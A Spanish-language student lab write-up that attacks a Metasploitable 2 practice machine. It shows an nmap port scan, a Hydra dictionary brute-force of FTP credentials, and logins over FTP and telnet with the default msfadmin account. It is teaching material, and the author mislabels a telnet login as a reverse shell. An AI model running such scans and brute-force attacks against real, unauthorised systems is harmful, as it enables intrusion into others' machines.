

```
root@Kali: ~  
Archivo  Editar  Ver  Buscar  Terminal  Ayuda  
root@Kali:~# telnet 192.168.0.195  
Trying 192.168.0.195...  
Connected to 192.168.0.195.  
Escape character is '^['.  
  
metasploitable2  
  
Warning: Never expose this VM to an untrusted network!  
Contact: msfdev[at]metasploit.com  
Login with msfadmin/msfadmin to get started  
  
metasploitable login: █
```

ATAQUES MANUALES SOBRE LABORATORIO METASPLOITABLE 2

Presentado por:
Santiago Peñaranda Mejia


MÉTODO 1

BUENO VAMOS A INICIAR CON LA PENETRACIÓN A LA MÁQUINA DE METASPLOITABLE2, LO PRIMERO QUE VAMOS HACER ES CON UN ESCANEO DE PUERTOS, PARA VER QUE PUERTOS O SERVICIOS SE ENCUENTRAN ABIERTOS Y ASI PODER ANALIZAR LOS POSIBLES VECTORES VULNERABLES.

```
Ending nmap scan 192.168.1.141 250 hosts scanned in 1.945 seconds  
> nmap -p- -Pn -sS -n 192.168.1.141
```

AL HACER ESTE ESCANEO NOS APARECEN UNA SERIE DE BASTANTES PUERTOS ABIERTOS, COMO PODEMOS VER EN LA IMAGEN

```
> nmap -p- -Pn -sS -n 192.168.1.141  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-04 11:55 EST  
Nmap scan report for 192.168.1.141  
Host is up (0.00062s latency).  
Not shown: 65505 closed tcp ports (reset)  
PORT      STATE SERVICE  
21/tcp    open  ftp  
22/tcp    open  ssh  
23/tcp    open  telnet  
25/tcp    open  smtp  
53/tcp    open  domain  
80/tcp    open  http  
111/tcp   open  rpcbind  
139/tcp   open  netbios-ssn  
445/tcp   open  microsoft-ds  
512/tcp   open  exec  
513/tcp   open  login  
514/tcp   open  shell  
1099/tcp  open  rmiregistry  
1524/tcp  open  ingreslock  
2049/tcp  open  nfs  
2121/tcp  open  ccproxy-ftp  
3306/tcp  open  mysql  
3632/tcp  open  distccd  
5432/tcp  open  postgresql  
5900/tcp  open  vnc  
6000/tcp  open  X11  
6667/tcp  open  irc  
6697/tcp  open  ircs-u  
8009/tcp  open  ajp13  
8180/tcp  open  unknown  
8787/tcp  open  msgsrvr  
39645/tcp open  unknown  
44626/tcp open  unknown  
54043/tcp open  unknown  
56651/tcp open  unknown  
MAC Address: 08:00:27:FD:C5:B7 (Oracle VirtualBox virtual NIC)  
  
Nmap done: 1 IP address (1 host up) scanned in 22.79 seconds
```



NOSOTRAS ATACAREMOS EL PUERTO 21 EL DE FTP

```
21/tcp    open  ftp
```

AHORA VAMOS HACER UN ATAQUE DE FUERZA BRUTA CON HYDRA PARA INTENTAR ADIVINAR EL USUARIO Y LA CONTRASEÑA. PARA ELLO ESCRIBIMOS ESTE CÓDIGO.

```
> hydra -t 64 -L Diccionario.txt -P Diccionario.txt 192.168.1.141 ftp
```

AL HACER ESTE ATAQUE DE FUERZA BRUTA CON HYDRA CON UN DICCIONARIO DE POSIBLES CREDENCIALES, VEMOS QUE NOS ENCUENTRA UN USUARIO Y UNA CONTRASEÑA **MSFADMIN** QUE DICEN SER VÁLIDAS.

```
> hydra -t 64 -L Diccionario.txt -P Diccionario.txt 192.168.1.141 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or
secret service organizations, or for illegal purposes (this is non-binding, these *** ignore
laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-04 12:14:17
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) found
from a previous session, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 225 login tries (l:15/p:15), ~4 tries
per task
[DATA] attacking ftp://192.168.1.141:21/
[21][ftp] host: 192.168.1.141 login: msfadmin password: msfadmin
[21][ftp] host: 192.168.1.141 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 2 valid passwords found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-11-04 12:14:45

🐼 /home/kali x 255 ⏸ 27s ☠ |
```

ASI QUE VAMOS A COMPROBARLO, PARA ELLO ESCRIBIMOS EL COMANDO

```
> ftp msfadmin@192.168.1.141
```

Y AL PONER ESTE COMANDO NOS PEDIRÁ UNA CONTRASEÑA, Y PONDREMOS LA QUE ENCONTRAMOS POSTERIORMENTE

```
> ftp msfadmin@192.168.1.141
Connected to 192.168.1.141.
220 (vsFTPd 2.3.4)
331 Please specify the password.
Password:
```

Y ASÍ ES COMO HEMOS GANADO ACCESO A LA MÁQUINA MEDIANTE EL PUERTO 21 DEL SERVICIO FTP

```
> ftp msfadmin@192.168.1.141
Connected to 192.168.1.141.
220 (vsFTPD 2.3.4)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||12744|).
150 Here comes the directory listing.
drwxr-xr-x    6 1000    1000          4096 Apr 28  2010 vulnerable
226 Directory send OK.
ftp> whoami
?Invalid command.
ftp> id
500 Unknown SITE command.
ftp> 
```

MÉTODO 2

COMO VEMOS QUE AL HACER UN ESCANEO DE PUERTOS TIENE ABIERTO EL PUERTO 23 DE TELNET

```
23/tcp    open  telnet
```

AHORA VAMOS HACER UNA INTRUSIÓN A LA MÁQUINA POR ESTE SERVICIO, PARA ELLO ESCRIBIMOS LO SIGUIENTE

```
telnet 192.168.1.141
```

AL PONER ESTE COMANDO ME MUESTRA EN EL MOTD UNA SERIE DE COSAS

[illegible]

ENTRE ELLAS EL USUARIO Y LA CONTRASEÑA, COMO VEMOS EN PANTALLA

```
metasploit

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login: Connection closed by foreign host
```

ENTONCES PROCEDEMOS A ESCRIBIRLA A VER QUE NOS SALE

```
Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password: |
```

Y AUTOMÁTICAMENTE NOS DA UNA REVERSE SHELL, PERO ESTA NO ES UNA CONEXIÓN COMO LA ANTERIOR YA QUE LA ANTERIOR QUE ERA CON EL SERVICIO FTP ESTE SUELE ESTAR LIMITADO, PERMITIENDO SOLO LEER, ESCRIBIR Y LISTAR ARCHIVOS DEL SISTEMA, SIN PERMISOS ELEVADOS Y SIN ACCESO A EJECUTAR COMANDOS. ÉSTA ES UNA GRAN DIFERENCIA RESPECTO A TELNET YA QUE TELNET TE DA UNA SHELL COMPLETA, PERMITIENDO UNA TERNER ACCESO A TODOS LOS COMANDOS Y RECURSOS DEL SISTEMA, DEPENDIENDO LOS PERMISOS ASIGNADOS DEL USUARIO EN EL QUE SE A HECHO LA CONEXIÓN, POR ENDE ES MUCHO MEJOR LA CONEXIÓN TELNET YA QUE TENEMOS MÁS POSIBILIDADES DE ESCALAR PRIVILEGIOS Y NO ESTAMOS TAN LIMITADOS.

```
metasploitable login: msfadmin
Password:
Last login: Mon Nov  4 12:46:03 EST 2024 from 192.168.1.27 on pts/1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```

```
msfadmin@metasploitable:~$ whoami
msfadmin
```

Y ESTO SERIA TODO POR EL ARTÍCULO DE HOY, CHAO Y GRACIAS